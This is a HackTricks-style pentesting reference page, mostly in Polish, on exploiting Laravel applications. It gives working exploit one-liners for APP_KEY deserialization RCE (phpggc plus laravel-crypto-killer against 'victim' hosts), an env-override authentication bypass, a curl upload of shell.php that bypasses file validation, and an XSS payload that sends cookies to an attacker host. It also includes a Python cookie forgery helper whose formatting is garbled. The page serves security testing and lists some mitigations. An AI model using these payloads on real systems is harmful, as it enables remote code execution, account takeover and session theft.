Laravel
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Laravel SQLInjection
Przeczytaj o tym tutaj: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Szczegóły szyfrowania (Laravel >=5.6)
Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC (Illuminate\Encryption\Encrypter).
Surowy szyfrogram, który ostatecznie wysyłany do klienta, to Base64 obiektu JSON takiego jak:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true) domyślnie wykona serialize() na plaintext, natomiast
decrypt($payload, $unserialize=true) automatycznie wykona unserialize() na odszyfrowanej wartości.
W związku z tym każdy atakujący, który zna 32-bajtowy sekret APP_KEY, może skonstruować zaszyfrowany, zserializowany obiekt PHP i uzyskać RCE poprzez magiczne metody (__wakeup, __destruct, …).
Minimalny PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Wstrzyknij wygenerowany ciąg do dowolnego podatnego sinka decrypt() (parametr trasy, cookie, sesja, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatyzuje cały proces i dodaje wygodny tryb bruteforce:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Skrypt transparentnie obsługuje zarówno payloady CBC, jak i GCM oraz ponownie generuje pole HMAC/tag.
Realne wzorce podatności
| Projekt | Wrażliwy sink | Gadget chain |
|---|---|---|
| Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session cookie | Laravel/RCE15 |
Przebieg eksploatacji jest zawsze następujący:
- Uzyskaj lub przeprowadź brute-force na 32-bajtowym
APP_KEY. - Zbuduj gadget chain za pomocą PHPGGC (np.
Laravel/RCE13,Laravel/RCE9lubLaravel/RCE15). - Zaszyfruj serializowany gadget za pomocą laravel_crypto_killer.py i odzyskanego
APP_KEY. - Dostarcz szyfrogram do wrażliwego
decrypt()sinka (parametr trasy, cookie, sesja …), aby wywołać RCE.
Poniżej znajdują się zwięzłe one-linery demonstrujące pełną ścieżkę ataku dla każdego z wyżej wymienionych realnych CVE:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Mass APP_KEY discovery via cookie brute-force
Ponieważ każda świeża odpowiedź Laravel ustawia przynajmniej 1 zaszyfrowaną cookie (XSRF-TOKEN i zwykle laravel_session), public internet scanners (Shodan, Censys, …) leak miliony szyfrogramów, które można atakować offline.
Główne wnioski z badań opublikowanych przez Synacktiv (2024–2025):
- Zestaw danych lipiec 2024 » 580 k tokenów, 3.99 % odszyfrowanych kluczy (≈23 k)
- Zestaw danych maj 2025 » 625 k tokenów, 3.56 % odszyfrowanych kluczy
-
1 000 serwerów nadal podatnych na legacy CVE-2018-15133 ponieważ tokeny bezpośrednio zawierają serializowane dane.
- Ogromne ponowne użycie kluczy – Top-10 APP_KEYs to domyślne, hard-coded wartości dostarczane z komercyjnymi szablonami Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Prywatne narzędzie Go nounours osiąga wydajność brute-force AES-CBC/GCM ~1.5 miliarda prób/s, skracając łamanie całego zestawu danych do <2 minut.
CVE-2024-52301 – HTTP argv/env override → obejście uwierzytelniania
Gdy PHP ma register_argc_argv=On (typowe na wielu dystrybucjach), PHP udostępnia tablicę argv dla żądań HTTP wyprowadzoną z query string. Nowsze wersje Laravel parsowały te „CLI-like” args i honorowały --env=<value> w czasie wykonywania. To pozwala przełączyć środowisko frameworka dla bieżącego żądania HTTP tylko przez dodanie go do dowolnego URL:
-
Szybka kontrola:
-
Odwiedź
https://target/?--env=locallub dowolny ciąg i sprawdź zmiany zależne od środowiska (banery debugowe, stopki, szczegółowe błędy). Jeśli ciąg jest odzwierciedlony, override działa. -
Przykład wpływu (logika biznesowa polegająca na specjalnym env):
-
Jeśli aplikacja zawiera gałęzie typu
if (app()->environment('preprod')) { /* bypass auth */ }, możesz się uwierzytelnić bez prawidłowych poświadczeń wysyłając login POST na: -
POST /login?--env=preprod -
Notatki:
-
Działa dla pojedynczego żądania, brak trwałości.
-
Wymaga
register_argc_argv=Oni podatnej wersji Laravel, która odczytuje argv dla HTTP. -
Przydatny prymityw do ujawnienia bardziej szczegółowych błędów w „debug” envs lub wywołania ścieżek kodu zależnych od środowiska.
-
Środki zaradcze:
-
Wyłącz
register_argc_argvdla PHP-FPM/Apache. -
Zaktualizuj Laravel, aby ignorował argv w żądaniach HTTP i usuń wszelkie założenia ufności związane z
app()->environment()w trasach produkcyjnych.
Minimalny przebieg eksploatacji (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
CVE-2025-27515 – Omijanie walidacji plików z użyciem wieloznacznika (files.*)
Laravel 10.0–10.48.28, 11.0.0–11.44.0 i 12.0.0–12.1.0 pozwalają spreparowanym żądaniom multipart całkowicie pominąć dowolną regułę przypisaną do files.* / images.*. Parser rozszerzający klucze z wieloznacznikiem może zostać zdezorientowany przez kontrolowane przez atakującego placeholdery (na przykład wstępne wypełnienie segmentów __asterisk__), więc framework zmaterializuje obiekty UploadedFile bez uruchamiania reguł takich jak image, mimes, dimensions, max, itp. Po wgraniu złośliwego bloba do Storage::putFile* możesz przejść do dowolnej z metod przesyłania plików wymienionych w HackTricks (web shells, log poisoning, signed job deserialization, …).
Wykrywanie wzorca
- Statycznie:
rg -n "files\\.\*" -g"*.php" app/lub przejrzyj klasyFormRequestw poszukiwaniurules()zwracających tablice zawierającefiles.*. - Dynamicznie: zainstrumentuj
Illuminate\Validation\Validator::validate()za pomocą Xdebug lub Laravel Telescope w środowisku przedprodukcyjnym, aby logować każde żądanie trafiające na podatną regułę. - Przegląd middleware/route: endpoints obsługujące wiele plików (importery avatarów, portale dokumentów, komponenty drag-n-drop) zwykle ufają
files.*.
Praktyczny przebieg eksploatacji
- Przechwyć prawidłowe przesłanie i odtwórz je w Burp Repeater.
- Zduplikuj tę samą część, ale zmodyfikuj nazwę pola tak, by zawierała tokeny placeholderów (np.
files[0][__asterisk__payload]) lub zagnieźdź kolejną tablicę (files[0][alt][0]). Na podatnych buildach ta druga część nigdy nie jest walidowana, ale nadal staje się wpisemUploadedFile. - Wskaż spreparowany plik na payload PHP (
shell.php,.phar, polyglot) i wymuś zapisanie go przez aplikację na dysku dostępnym z weba (zwyklepublic/po włączeniuphp artisan storage:link).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'
Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
Luki w pakietach ekosystemu warte łączenia (2025)
CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)
Jeśli projekt używa logowania Auth0 z domyślnym backendem CookieStore i auth0/auth0-php < 8.14.0, tag GCM na ciasteczku sesyjnym auth0 jest na tyle krótki, że można go brute-force’ować offline. Przechwyć cookie, zmień JSON payload (np. ustaw "sub":"auth0|admin" i app_metadata.roles), brute-force’uj tag i odtwórz cookie, aby uzyskać ważną sesję Laravel guard. Szybkie kontrole: composer.lock pokazuje auth0/auth0-php <8.14.0 oraz .env zawiera AUTH0_SESSION_STORAGE=cookie.
CVE-2025-48490 – lomkit/laravel-rest-api validation override
Pakiet lomkit/laravel-rest-api w wersjach przed 2.13.0 nieprawidłowo scala reguły per-action: późniejsze definicje nadpisują wcześniejsze dla tego samego atrybutu, pozwalając spreparowanym polom ominąć walidację (np. nadpisać reguły filter podczas akcji update), co prowadzi do mass assignment lub niezwalidowanych filtrów przypominających SQL. Praktyczne kontrole:
composer.lockwymienialomkit/laravel-rest-api<2.13.0./_rest/users?filters[0][column]=password&filters[0][operator]==jest akceptowane zamiast odrzucone, co pokazuje, że walidacja filtrów została obejściа.
Triki Laravel
Tryb debugowania
If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:
.png)
To zwykle wymagane do eksploatacji innych Laravel RCE CVEs.
CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages
- Dotyczy: Laravel 11.9.0–11.35.1 z
APP_DEBUG=true(czy to globalnie, czy wymuszone przez źle skonfigurowane nadpisania env jak CVE-2024-52301). - Primitive: każde nieprzechwycone wyjątki renderowane przez Whoops echoują części żądania/trasy bez HTML encoding, więc wstrzyknięcie
<img src>/<script>w trasę lub parametr żądania skutkuje stored-on-response XSS przed uwierzytelnieniem. - Impact: steal
XSRF-TOKEN, leak stack traces with secrets, otworzyć pivot w przeglądarce by wywołać_ignition/execute-solutionw sesjach ofiar, lub połączyć z dashboardami bez hasła opierającymi się na ciasteczkach.
Minimalny PoC:
// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"
Nawet jeśli tryb debugowania jest zazwyczaj wyłączony, wymuszenie błędu przez zadania w tle lub procesy obsługujące kolejkę i sondowanie endpointu _ignition/health-check często ujawnia hosty stagingowe, które nadal eksponują ten łańcuch.
Fingerprinting & exposed dev endpoints
Szybkie kontrole w celu identyfikacji stosu Laravel i niebezpiecznych narzędzi developerskich ujawnionych na produkcji:
/_ignition/health-check→ Ignition obecny (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured./_debugbar→ Laravel Debugbar assets; często wskazuje na tryb debugowania./telescope→ Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions./horizon→ Queue dashboard; ujawnianie wersji i czasami akcje chronione CSRF.X-Powered-By, cookiesXSRF-TOKENandlaravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel zapisuje APP, którego używa do szyfrowania cookies i innych poświadczeń, w pliku o nazwie .env, do którego można uzyskać dostęp za pomocą path traversal pod: /../.env
Laravel pokaże także te informacje na stronie debug (która pojawia się, gdy Laravel napotka błąd i jest włączony).
Używając sekretnego APP_KEY Laravela możesz odszyfrować i ponownie zaszyfrować cookies:
Odszyfruj Cookie
Pomocnik do odszyfrowywania/szyfrowywania cookies (Python)
```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)
def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’
def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))
app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)
</details>
### Laravel Deserialization RCE
Podatne wersje: 5.5.40 oraz 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Informacje o deserialization vulnerability znajdziesz tutaj: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Możesz ją przetestować i wykorzystać używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Lub możesz też wykorzystać ją za pomocą metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Kolejna deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## Referencje
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)
> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>


